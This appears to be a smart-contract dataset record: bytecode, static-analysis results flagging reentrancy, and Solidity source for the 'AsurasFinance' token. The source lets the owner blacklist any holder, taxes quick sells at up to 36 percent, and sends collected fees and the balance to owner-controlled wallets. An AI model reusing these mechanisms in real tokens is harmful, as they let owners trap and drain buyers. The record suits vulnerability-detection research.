de0b6b3a7640000611402565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612822565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612822565b6040518363ffffffff1660e01b81526004016110b4929190612d0d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612822565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612d5f565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e91906129f2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550662386f26fc10000600f81905550666a94d74f4300006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161131d929190612d36565b602060405180830381600087803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136f9190612998565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146990612f3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612e5d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c09190612f7d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612efd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612dfd565b60405180910390fd5b600081116116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790612edd565b60405180910390fd5b6000600a819055506009600b81905550611708610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117765750611746610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561181f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119295750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119415750600e60179054906101000a900460ff165b15611a7f57600f5481111561198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612e1d565b60405180910390fd5b60105481611998846109db565b6119a291906130b3565b11156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612f1d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2e57600080fd5b601e42611a3b91906130b3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b805750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b96576000600a819055506009600b819055505b6000611ba1306109db565b9050600e60159054906101000a900460ff16158015611c0e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c265750600e60169054906101000a900460ff165b15611c4e57611c3481611e63565b60004790506000811115611c4c57611c4b47611d89565b5b505b505b611c5b8383836120eb565b505050565b6000838311158290611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f9190612ddb565b60405180910390fd5b5060008385611cb79190613194565b9050809150509392505050565b600080831415611cd75760009050611d39565b60008284611ce5919061313a565b9050828482611cf49190613109565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b90612e9d565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120fb565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390612e3d565b60405180910390fd5b6000611e4661215e565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a613369565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee061333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8357600080fd5b505afa158015611f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbb9190612822565b81600181518110611fcf57611fce61333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611402565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a959493929190612f98565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120f6838383612189565b505050565b60008083118290612142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121399190612ddb565b60405180910390fd5b50600083856121519190613109565b9050809150509392505050565b600080600061216b612354565b915091506121828183611d3f90919063ffffffff16565b9250505090565b60008060008060008061219b876123b3565b9550955095509550955095506121f986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122da816124c3565b6122e48483612580565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123419190612f7d565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612388670de0b6b3a7640000600854611d3f90919063ffffffff16565b8210156123a657600854670de0b6b3a76400009350935050506123af565b81819350935050505b9091565b60008060008060008060008060006123d08a600a54600b546125ba565b92509250925060006123e061215e565b905060008060006123f38e878787612650565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c60565b905092915050565b600080828461247491906130b3565b9050838110156124b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b090612e7d565b60405180910390fd5b8091505092915050565b60006124cd61215e565b905060006124e48284611cc490919063ffffffff16565b905061253881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125958260085461241b90919063ffffffff16565b6008819055506125b08160095461246590919063ffffffff16565b6009819055505050565b6000806000806125e660646125d8888a611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126106064612602888b611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126398261262b858c61241b90919063ffffffff16565b61241b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126698589611cc490919063ffffffff16565b905060006126808689611cc490919063ffffffff16565b905060006126978789611cc490919063ffffffff16565b905060006126c0826126b2858761241b90919063ffffffff16565b61241b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ec6126e784613032565b61300d565b9050808382526020820190508285602086028201111561270f5761270e61339d565b5b60005b8581101561273f57816127258882612749565b845260208401935060208301925050600181019050612712565b5050509392505050565b600081359050612758816136b3565b92915050565b60008151905061276d816136b3565b92915050565b600082601f83011261278857612787613398565b5b81356127988482602086016126d9565b91505092915050565b6000813590506127b0816136ca565b92915050565b6000815190506127c5816136ca565b92915050565b6000813590506127da816136e1565b92915050565b6000815190506127ef816136e1565b92915050565b60006020828403121561280b5761280a6133a7565b5b600061281984828501612749565b91505092915050565b600060208284031215612838576128376133a7565b5b60006128468482850161275e565b91505092915050565b60008060408385031215612866576128656133a7565b5b600061287485828601612749565b925050602061288585828601612749565b9150509250929050565b6000806000606084860312156128a8576128a76133a7565b5b60006128b686828701612749565b93505060206128c786828701612749565b92505060406128d8868287016127cb565b9150509250925092565b600080604083850312156128f9576128f86133a7565b5b600061290785828601612749565b9250506020612918858286016127cb565b9150509250929050565b600060208284031215612938576129376133a7565b5b600082013567ffffffffffffffff811115612956576129556133a2565b5b61296284828501612773565b91505092915050565b600060208284031215612981576129806133a7565b5b600061298f848285016127a1565b91505092915050565b6000602082840312156129ae576129ad6133a7565b5b60006129bc848285016127b6565b91505092915050565b6000602082840312156129db576129da6133a7565b5b60006129e9848285016127cb565b91505092915050565b600080600060608486031215612a0b57612a0a6133a7565b5b6000612a19868287016127e0565b9350506020612a2a868287016127e0565b9250506040612a3b868287016127e0565b9150509250925092565b6000612a518383612a5d565b60208301905092915050565b612a66816131c8565b82525050565b612a75816131c8565b82525050565b6000612a868261306e565b612a908185613091565b9350612a9b8361305e565b8060005b83811015612acc578151612ab38882612a45565b9750612abe83613084565b925050600181019050612a9f565b5085935050505092915050565b612ae2816131da565b82525050565b612af18161321d565b82525050565b6000612b0282613079565b612b0c81856130a2565b9350612b1c81856020860161322f565b612b25816133ac565b840191505092915050565b6000612b3d6023836130a2565b9150612b48826133bd565b604082019050919050565b6000612b606019836130a2565b9150612b6b8261340c565b602082019050919050565b6000612b83602a836130a2565b9150612b8e82613435565b604082019050919050565b6000612ba66022836130a2565b9150612bb182613484565b604082019050919050565b6000612bc9601b836130a2565b9150612bd4826134d3565b602082019050919050565b6000612bec6021836130a2565b9150612bf7826134fc565b604082019050919050565b6000612c0f6020836130a2565b9150612c1a8261354b565b602082019050919050565b6000612c326029836130a2565b9150612c3d82613574565b604082019050919050565b6000612c556025836130a2565b9150612c60826135c3565b604082019050919050565b6000612c78601a836130a2565b9150612c8382613612565b602082019050919050565b6000612c9b6024836130a2565b9150612ca68261363b565b604082019050919050565b6000612cbe6017836130a2565b9150612cc98261368a565b602082019050919050565b612cdd81613206565b82525050565b612cec81613210565b82525050565b6000602082019050612d076000830184612a6c565b92915050565b6000604082019050612d226000830185612a6c565b612d2f6020830184612a6c565b9392505050565b6000604082019050612d4b6000830185612a6c565b612d586020830184612cd4565b9392505050565b600060c082019050612d746000830189612a6c565b612d816020830188612cd4565b612d8e6040830187612ae8565b612d9b6060830186612ae8565b612da86080830185612a6c565b612db560a0830184612cd4565b979650505050505050565b6000602082019050612dd56000830184612ad9565b92915050565b60006020820190508181036000830152612df58184612af7565b905092915050565b60006020820190508181036000830152612e1681612b30565b9050919050565b60006020820190508181036000830152612e3681612b53565b9050919050565b60006020820190508181036000830152612e5681612b76565b9050919050565b60006020820190508181036000830152612e7681612b99565b9050919050565b60006020820190508181036000830152612e9681612bbc565b9050919050565b60006020820190508181036000830152612eb681612bdf565b9050919050565b60006020820190508181036000830152612ed681612c02565b9050919050565b60006020820190508181036000830152612ef681612c25565b9050919050565b60006020820190508181036000830152612f1681612c48565b9050919050565b60006020820190508181036000830152612f3681612c6b565b9050919050565b60006020820190508181036000830152612f5681612c8e565b9050919050565b60006020820190508181036000830152612f7681612cb1565b9050919050565b6000602082019050612f926000830184612cd4565b92915050565b600060a082019050612fad6000830188612cd4565b612fba6020830187612ae8565b8181036040830152612fcc8186612a7b565b9050612fdb6060830185612a6c565b612fe86080830184612cd4565b9695505050505050565b60006020820190506130076000830184612ce3565b92915050565b6000613017613028565b90506130238282613262565b919050565b6000604051905090565b600067ffffffffffffffff82111561304d5761304c613369565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130be82613206565b91506130c983613206565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130fe576130fd6132dc565b5b828201905092915050565b600061311482613206565b915061311f83613206565b92508261312f5761312e61330b565b5b828204905092915050565b600061314582613206565b915061315083613206565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613189576131886132dc565b5b828202905092915050565b600061319f82613206565b91506131aa83613206565b9250828210156131bd576131bc6132dc565b5b828203905092915050565b60006131d3826131e6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061322882613206565b9050919050565b60005b8381101561324d578082015181840152602081019050613232565b8381111561325c576000848401525b50505050565b61326b826133ac565b810181811067ffffffffffffffff8211171561328a57613289613369565b5b80604052505050565b600061329e82613206565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d1576132d06132dc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136bc816131c8565b81146136c757600080fd5b50565b6136d3816131da565b81146136de57600080fd5b50565b6136ea81613206565b81146136f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e0c77b05f7ca10b09bb0ad24b8bf5f37b494c1a94a5d3b503ea042052877c6364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,840
0x07C15aD2bEd2002dAc479e7971A40598541a6188
/** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AsurasFinance is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "AsurasFinance"; string private constant _symbol = "AsurasFinance"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7CEB7f78dDdFe320603dE9e28e109E35C34F0A85); _feeAddrWallet2 = payable(0x7CEB7f78dDdFe320603dE9e28e109E35C34F0A85); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 13; if (!_isBuy(from)) { // TAX SELLERS 35% WHO SELL WITHIN 24 HOURS if (_buyMap[from] != 0) { if(_buyMap[from] + (48 hours) >= block.timestamp) { _feeAddr1 = 1; _feeAddr2 = 25; } if(_buyMap[from] + (24 hours) >= block.timestamp) { _feeAddr1 = 1; _feeAddr2 = 35; } } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } } if(from == owner()) { _feeAddr1 = 0; _feeAddr2 = 0; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function purchaseTime(address account) public view returns (uint256) { return _buyMap[account]; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function withdraw() public onlyOwner { uint amount = address(this).balance; (bool success, ) = payable(owner()).call { value: amount }(""); require(success, "Failed to send Ether"); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610328578063bc33718214610348578063c3c8cd8014610368578063c9567bf91461037d578063dd62ed3e1461039257600080fd5b806370a08231146102ab578063715018a6146102cb5780638da5cb5b146102e057806395d89b411461012f578063a9059cbb1461030857600080fd5b8063273123b7116100e7578063273123b714610223578063313ce567146102455780633ccfd60b146102615780635932ead1146102765780636fc3eaec1461029657600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780632144c09a146101cd57806323b872dd1461020357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600d81526c41737572617346696e616e636560981b6020820152905161016b9190611a03565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611894565b6103d8565b604051901515815260200161016b565b3480156101b057600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d957600080fd5b506101bf6101e83660046117e4565b6001600160a01b031660009081526004602052604090205490565b34801561020f57600080fd5b5061019461021e366004611854565b6103ef565b34801561022f57600080fd5b5061024361023e3660046117e4565b610458565b005b34801561025157600080fd5b506040516009815260200161016b565b34801561026d57600080fd5b506102436104ac565b34801561028257600080fd5b